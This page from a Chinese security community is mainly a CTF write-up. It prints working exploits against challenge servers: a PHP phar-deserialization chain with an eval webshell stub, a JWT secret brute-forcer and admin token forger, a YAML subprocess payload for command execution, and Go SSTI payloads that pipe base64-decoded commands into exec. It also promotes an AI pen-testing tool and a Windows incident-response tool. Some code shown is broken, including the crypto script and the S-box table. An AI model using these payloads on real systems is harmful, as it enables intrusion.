2026年1月

前言

本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

Ez_readfile

php反序列化利用phar协议绕过waf写入webshell

析构函数中根据 $mode 值做不同操作:

  • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
  • 'r': include($_POST[0]) —— 文件包含漏洞

构造利用链

需要绕过正则,常用协议无法使用,这里使用glob协议

Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
 → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

根据利用连构造EXP如下

<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }

@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用gz压缩绕过WAF

D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python

考察点:JWT伪造爆破

​ yaml文件正则过waf文件上传进行命令执行

任意伪造jwt会报错密钥前缀,构造py爆破密钥

# brute_jwt.py
import jwt
import string
import itertools

# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"

# 字符集
charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9

print("🚀 开始爆破密钥...")

for suffix in itertools.product(charset, repeat=2):
    secret = secret_prefix + ''.join(suffix)
    try:
        # 尝试解码
        decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
        print(f"\n✅ 成功!密钥为:{secret}")
        print(f"Payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue
else:
    print("❌ 未找到密钥")

获取到密钥构造admin权限的token进行文件上传

# sign_admin.py
import jwt

# 已知信息
secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 新的 payload
new_payload = {
    "username": "admin",
    "role": "admin"
}

# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')

print("✅ 成功生成 admin JWT:")
print(new_token)

获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

# send_yaml.py

import requests

url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}

# 上传 YAML 文件

files = {
    'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput

  - cat /f1111ag*
    ''', 'text/yaml'),
    'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
    }

r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner

攻击者IP auth.log下攻击者进行ssh爆破

192.168.145.131

攻击者共进行多少次ssh口令爆破失败?

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?

sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)

/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

挖矿病毒所属的家族是什么?

通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell

流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

hardtest

Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame

考点: 微信小程序解包,map 文件解包,wasm 还原

是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

export memory a(initial: 258, max: 258); 
data d_a(offset: 1024) = 
 "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
 "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
export function c(a:ubyte_ptr):int { // func0 
 var e:int; 
 var b:int_ptr; 
 var d:int; 
 var c:ubyte_ptr; 
 if ({ 
 d = a; 
 if (eqz(d & 3)) goto B_c; 
 0; 
 if (eqz(a[0])) goto B_a; 
 loop L_d { 
 a = a + 1; 
 if (eqz(a & 3)) goto B_c; 
 if (a[0]) continue L_d; 
 } 
 goto B_b; 
 label B_c: 
 loop L_e { 
 b = a; 
 a = b + 4; 
 if ( 
 ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
 } 
 loop L_f { 
 a = b; 
 b = a + 1; 
 if (a[0]) continue L_f; 
 } 
 label B_b: 
 a - d; 
 label B_a: 
 } != 
 38) { 
 return 0 
 } 
 loop L_h { 
 a = c[1024] ^ (c + d)[0]:byte; 
 b = a == 153; 
 if (a != 153) goto B_i; 
 c = c + 1; 
 if (c != 38) continue L_h; 
 label B_i: 
 } 
 return b; 
} 
export function b() { // func1 
}

把这两个代码给AI就可以直接得到 flag

Newtrick

考点:对称加密算法和离散对数问题

由于有根据源码直接推出解密脚本

from hashlib import md5 
from Crypto.Cipher import AES 
p = 
115792089237316195423570985008687907853269984665640564039457584007913129639
747 
F = GF(p) 
Q = (123456789, 987654321, 135792468, 864297531) 
N_Q = F(sum(x * x for x in Q)) 
R = ( 
 
535805042719399545796962826381600584293083019277531395431476058825743363271
45, 
799913182452098376229457194675627969511376052122949799764791997934539620908
91, 
531268698891810405870372104622761160960325946775601453062691481560347571601
28, 
973680242303063998595227832922465096998302542946496684346049712134964678571
55 
) 
N_R = F(sum(x * x for x in R)) 
try: 
 secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
 print("[+] Secret found:", secret) 
except Exception as e: 
 print("[-] discrete_log failed:", e) 
 
 secret = 895942422329 
key = md5(str(secret).encode()).digest() 
cipher = AES.new(key, AES.MODE_ECB) 
try: 
 flag = cipher.decrypt(encrypted_flag) 
 print("[+] Flag:", flag) 
except Exception as e: 
 print("[-] failed:", _e)

SSTi模板注入,golang的SSTI,执行

{{.}}

回显

map[B64Decode:0x6ee380 exec:0x6ee120]

直接执行

{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

{{B64Decode "aGVsbG8="}}

可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

{{B64Decode "Y2F0IC9mbGFn" | exec}}

CyberStrikeAI:让安全测试像对话一样简单——智能渗透测试的技术实践

先附上开源工具链接:

https://github.com/Ed1s0nZ/CyberStrikeAI

从工具堆砌到智能调度:渗透测试的演进之路

作为安全工程师,我们都经历过这样的场景:面对一个新的目标系统,我们需要在数十个安全工具之间不断切换,记忆各种复杂的命令行参数,手动分析海量的扫描结果,然后在不同的工具输出中寻找关联性。这种工作方式不仅效率低下,更严重的是,我们往往在工具的使用上花费了太多精力,反而减少了对安全威胁本质的思考时间

技术人的解决方案:CyberStrikeAI的设计理念

CyberStrikeAI不是要取代安全工程师,而是要成为工程师的智能助手。基于一个朴素但强大的想法:用技术手段解决技术问题,让AI处理重复性工作,让人专注于创造性分析

效果

对话效果


MCP调用

调用链

核心架构:Golang + MCP协议的工程化实现

// 核心架构简示
Agent Loop (AI决策引擎)
    ↓
MCP Server (工具调度中心)  
    ↓
Security Executor (命令执行层)
    ↓
98+ Security Tools (工具生态)

技术栈选择背后的思考

  • Golang:并发性能优异,跨平台编译方便,部署简单
  • MCP协议:标准化工具调用,确保扩展性和兼容性
  • SQLite:轻量级数据存储,适合单机部署场景

实际工作流程对比

传统方式

# 1. 端口扫描
nmap -sS -sV -O 192.168.1.0/24

# 2. Web服务识别
httpx -l targets.txt -title -status-code

# 3. 漏洞扫描  
nuclei -l targets.txt -t /nuclei-templates/

# 4. 手动分析结果,决定下一步...

CyberStrikeAI方式

"对192.168.1.0/24网段进行全面的安全评估,重点关注Web服务漏洞"

系统自动完成:

  1. 识别网络范围,调用nmap进行主机发现
  2. 对发现的Web服务调用httpx进行指纹识别
  3. 基于服务指纹选择相应的漏洞检测模板
  4. 自动分析结果,对可疑目标进行深度扫描
  5. 生成结构化报告,包括漏洞详情和修复建议

面向安全工程师的技术特性

工具集成:不重复造轮子

我集成了98+个经过社区验证的安全工具,包括:

  • 信息收集:nmap, subfinder, amass, theharvester
  • 漏洞扫描:nuclei, sqlmap, xsser, dalfox
  • Web安全:dirb, gobuster, nikto, wafw00f
  • 专项工具:wpscan, jexboss, ysoserial

每个工具都通过YAML配置文件进行标准化封装:

name: "nmap"
command: "nmap"
args: ["-sT", "-sV", "-sC"]
description: "网络扫描工具,用于发现网络主机、开放端口和服务"

parameters:
  - name: "target"
    type: "string"
    description: "目标IP地址或域名"
    required: true

智能决策:AI作为调度器

AI在系统中的角色不是替代工具,而是智能调度器和结果分析器

// AI决策流程
1. 理解用户自然语言请求
2. 分析目标特征和测试需求  
3. 选择最适合的工具组合
4. 动态调整参数优化扫描效果
5. 解析工具输出,提取关键信息
6. 基于发现决定后续测试路径

实时监控:掌握测试全过程

系统提供完整的执行监控:

# 查看工具执行状态
GET /api/monitor

# 实时查看漏洞统计
{
  "total": 23,
  "severityCount": {
    "critical": 2,
    "high": 5, 
    "medium": 10,
    "low": 6
  }
}

实际应用场景分析

场景一:红队渗透测试

需求:快速对目标企业进行外围渗透测试
传统方式:手动信息收集 → 工具链执行 → 结果整理 (耗时:4-6小时)
CyberStrikeAI:单次对话描述测试目标 → 自动执行完整流程 (耗时:30-60分钟)

场景二:漏洞复现与验证

需求:批量验证SRC提交的漏洞
传统方式:逐个手动测试,重复性工作量大
CyberStrikeAI:批量导入目标 → 自动匹配检测方案 → 生成验证报告

场景三:安全巡检

需求:定期对资产进行安全巡检
传统方式:编写脚本,定时执行,人工分析
CyberStrikeAI:配置巡检策略 → 自动执行 → 差异对比 → 告警通知

扩展性与二次开发

自定义工具集成

通过标准的YAML配置即可集成新工具:

name: "custom-scanner"
command: "python3"
args: ["/tools/myscanner.py"]
parameters:
  - name: "target"
    type: "string"
    required: true

API集成现有流程

系统提供完整的REST API,可轻松集成到现有安全体系中:

# 集成到自动化漏洞管理平台
def trigger_scan(target, scan_type):
    response = requests.post(
        'http://cyberstrike-ai:8080/api/agent-loop',
        json={'message': f'{scan_type}扫描 {target}'}
    )
    return process_results(response.json())

技术人的实践建议

部署方案

  • 开发测试:本地Docker部署,快速验证
  • 团队使用:服务器部署,共享使用
  • 集成环境:API方式集成到现有安全平台

使用技巧

  1. 渐进式测试:从基础扫描开始,逐步深入
  2. 结果验证:AI发现的关键漏洞建议人工复核
  3. 工具补充:根据实际需求扩展工具库

结语:技术赋能,专注价值

CyberStrikeAI的本质是通过技术手段提升安全工程师的工作效率,让我们从繁琐的工具操作中解放出来,更加专注于威胁分析、漏洞研究和防护策略等更有价值的工作。

在网络安全人才紧缺的今天,提升个体工程师的效率就是提升整个行业的安全水位。我相信,好的工具应该像得力的助手一样,默默处理繁琐工作,让专家专注于专业判断。

项目地址https://github.com/Ed1s0nZ/CyberStrikeAI

让技术回归本质,让安全测试变得更加高效——这是CyberStrikeAI的技术追求,也是我对安全社区的诚意贡献。

前言

将近三周的时间开发,目标是针对小白都能上手的Windows应急工具,完全基于红队人员攻击思路以及蓝队应急流程开发的Windows应急响应工具,目前V2.0的版本基本上已经ok了没有问题,下面是工具介绍,目前网上基本上没有比这个更好用且更完善的工具,计划是在V3.0计划兼容Winserver2008以下版本,另外加入内存马查杀机制。因为初衷就是想轻量,如果工具过大就违背了这个工具的初衷。

工具授权

目前工具设置需要授权码,计划是三月一次授权。

Cr7crwBXfh2AHVMh/RmH7w==

项目地址

系统支持

  • Windows 10/11 ✅
  • Windows Server 2012/2016/2019/2022 ✅
  • Windows Server 2008 R2 ✅
  • Windows Server 2008 非 R2 ⚠️ 仅支持 Get-EventLog,需升级 PowerShell

工具核心日志处理

// 后门用户迁移4732时间id日志提取
func FetchAndStoreBackdoorUsers(db *sql.DB, startTime, endTime string) error {
	// 动态构建 PowerShell 命令,使用传入的开始和结束时间
	psCmd := fmt.Sprintf(`[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
$startTime = '%s';
$endTime = '%s';
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732; StartTime=$startTime; EndTime=$endTime} -MaxEvents 200 |
ForEach-Object {
    $xml = [xml]$_.ToXml()

    $subjectSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "SubjectUserSid" } | Select-Object -ExpandProperty '#text'
    $memberSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "MemberSid" } | Select-Object -ExpandProperty '#text'
    $groupSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "TargetSid" } | Select-Object -ExpandProperty '#text'

    function Get-NameFromSid($sid) {
        try {
            return (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount]).Value
        } catch {
            return $sid
        }
    }

    $subjectName = Get-NameFromSid $subjectSid
    $memberName = Get-NameFromSid $memberSid
    $groupName = Get-NameFromSid $groupSid

    "$($_.TimeCreated)###$($_.Id)###$subjectName###$memberName###$groupName"
}`, startTime, endTime)

	// 调用 runPowerShellCommand,它会返回一个包含输出行的切片和错误信息
	lines, err := runPowerShellCommand(psCmd)

	// --- 错误处理部分 ---
	// 如果 PowerShell 命令执行失败
	if err != nil {
		// 检查错误信息是否包含“No events were found”
		if strings.Contains(err.Error(), "No events were found") {
			// 如果是这个特定错误,返回自定义的友好错误信息
			return fmt.Errorf("无用户组迁移相关事件id4732")
		}
		// 如果是其他错误,则返回原始错误
		return fmt.Errorf("执行PowerShell命令失败: %w", err)
	}

	// 如果没有错误,但返回的行切片是空的,也视为没有找到事件
	if len(lines) == 0 {
		return fmt.Errorf("无用户组迁移相关事件id4732")
	}
	// --- 错误处理部分结束 ---

	tx, err := db.Begin()
	if err != nil {
		return err
	}
	defer func() {
		if err != nil {
			tx.Rollback()
		}
	}()

	// 清理旧数据
	_, err = tx.Exec(`DELETE FROM backdoor_users`)
	if err != nil {
		return err
	}

	stmt, err := tx.Prepare(`INSERT INTO backdoor_users (time_created, event_id, subject_name, member_name, group_name) VALUES (?, ?, ?, ?, ?)`)
	if err != nil {
		return err
	}
	defer stmt.Close()

	for _, line := range lines {
		if len(strings.TrimSpace(line)) == 0 {
			continue
		}
		parts := strings.SplitN(line, "###", 5)
		if len(parts) < 5 {
			continue
		}

		_, err = stmt.Exec(parts[0], parseInt(parts[1]), parts[2], parts[3], parts[4])
		if err != nil {
			return fmt.Errorf("插入后门用户日志失败: %w", err)
		}
	}

	return tx.Commit()
}

基本上所有的日志模块的处理都是基于powershell来实现的,所以在winserver 2008及以下的版本不安装工具是无法使用的

日志检索效率以及优势

因为该工具是日志文件数据提取保存,会从db文件中读取已经保存的部分数据,在检索速度上效果还是可以的,最大的优势是直接根据事件详情提取需要的字段,避免从Windows自带的检索功能中逐条查看,效率大大提高。

主机信息模块

  • 获取主机信息和网卡信息
  • 获取网络连接状态
  • 网络外联IP定位,目前调用的是公网的ip.net的接口

日志分析模块

  • 提取 Windows 应用日志(Application Log)
  • 提取 Windows 安全日志(Security Log)
  • 支持查看登录成功(4624)、登录失败(4625)、防火墙日志、用户组迁移、用户创建删除等事件
  • 日志保存到 log.db(SQLite 数据库)
  • UI 分页展示、点击查看完整内容
  • 支持模糊查询快速定位IP和用户
  • 根据数据库内容利用AI依据各个表的时间线进行安全分析(建议使用AI分析+人工确认)
  • 一键快速分析功能,可以直接根据数据库生成事件摘要


目前版本为V2.0,因为在实战中1.0的出现部分bug,已经在2,0版本中修复了,防火墙日志图片仅供参考

任务调度

  • 提取定时任务详情,实时刷新

  • 支持任务筛选模糊查询

网站导航模块

  • 云沙箱、IP反查、威胁情报、空间测绘、网站备案、常见编码解码

目前支持一键跳转,本来是计划做一个聚合类的导航栏,奈何go语言实现太麻烦,略微有点儿鸡肋性价比低就实现的跳转。

DeepseekChatAI模块

  • 支持 Deepseek API 调用
  • 上下文聊天、会话创建、清空、删除

在风险主机出网的条件下是支持使用ChatAI模块的,直接在Deepseek购买api量即可,总的来说完全够用。

IP情报查询模块

  • 调用 VirtualTools API 查询IP
  • 请求率: 每分钟4次,每日500次,每月15.5K次
  • 红色标记已打标签IP

目前代码位置固定仅支持每分钟查询4个ip。

截图模块

  • 点击“截图”按钮即可截取全屏
  • 自动保存到当前目录下的 Screenshots 文件夹
  • 支持多显示器同时截图
  • 弹窗提示保存的截图数量和保存路径

使用方法

  1. 启动工具后选择日志类型
  2. 点击按钮执行提取,日志保存到本地数据库
  3. 分页浏览日志,点击查看详情
  4. 可通过筛选或时间选择缩小范围

注意事项

  • 必须以管理员权限运行
  • 默认拉取最近7天日志,可自定义
  • 首次运行会自动创建 log.db,config.json

工具使用效果

目前在本机三层靶场测试效果还可以,基本上受控主机上测试效果还是可以的,基本上可以覆盖溯源攻击路径,不过该工具还是基于windows日志来实现的,前提是日志审核策略需要开启,目前基本上一般业务系统有做过等保和加固的常见的日志审核策略是满足需求的。并且AI的一键分析是基本上能够满足定位分析攻击路径的。

火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。

通过火线Zone内容社区、火线技术沙龙等形式,为技术专家提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。

截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。

在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。

投稿须知

欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:

  1. 应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
  2. APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
  3. AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
  4. 黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
  5. 红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
  6. 安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
  7. 其他:前沿领域安全研究,如大模型安全、AI应用安全等

希望你的文章质量满足以下要求:

  1. 提供深入的分析和独到见解,揭示未公开的新内容。
  2. 全面总结某一领域知识,可作为参考手册。
  3. 确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
  4. 文章篇幅需要符合深度分析的篇幅要求,具体篇幅长度视内容类型审核

审核流程说明:

  1. 投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
  2. 火线Zone不提供稿件退回服务,请作者自行备份原稿。
  3. 对于非原创、抄袭、洗稿或未遵守转载规则的稿件,我们将进行删除处理,并取消任何奖励,同时发布违规公告。

如何投稿

  1. 在线投稿
    (注:为方便查看稿件审阅进度,请优先选择在线投稿方式)
    进入火线Zone[https://zone.huoxian.cn/]>点击左上方【发布主题】-> 在文章开头添加#应用安全#等文章类型标签。
    文章稿件支持Markdown格式,文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
    没有火线Zone账户的用户,可前往火线Zone注册申请加入。
  2. 邮件投稿
    您也可以将文章或稿件发送至zone@huoxian.cn
  3. 稿件疑问
    欢迎添加火线安全小助手,投稿问题可随时咨询。

投稿奖励

  1. 基础奖励:如果您未有火线安全平台认证邀请码,文章通过后你将获取到邀请码一枚,可以来注册成为火线白帽子参与平台漏洞悬赏项目。
  2. 基础奖励:文章如审核通过即可获普通文章奖励(50查克拉积分),可用于兑换火线安全商城的礼品
  3. 优秀奖励:文章内容符合社区征稿意向,内容充实有新意可获优秀文章奖励(50查克拉积分 + 500RMB)。
  4. 精华奖励:最新的事件分析和安全预警,分享业内前沿最新技术、 0day 分析与利用、个人安全开发研究新成果 等方面的奇技淫巧、心经等可获加精文章奖励((100查克拉 + 1000RMB)。
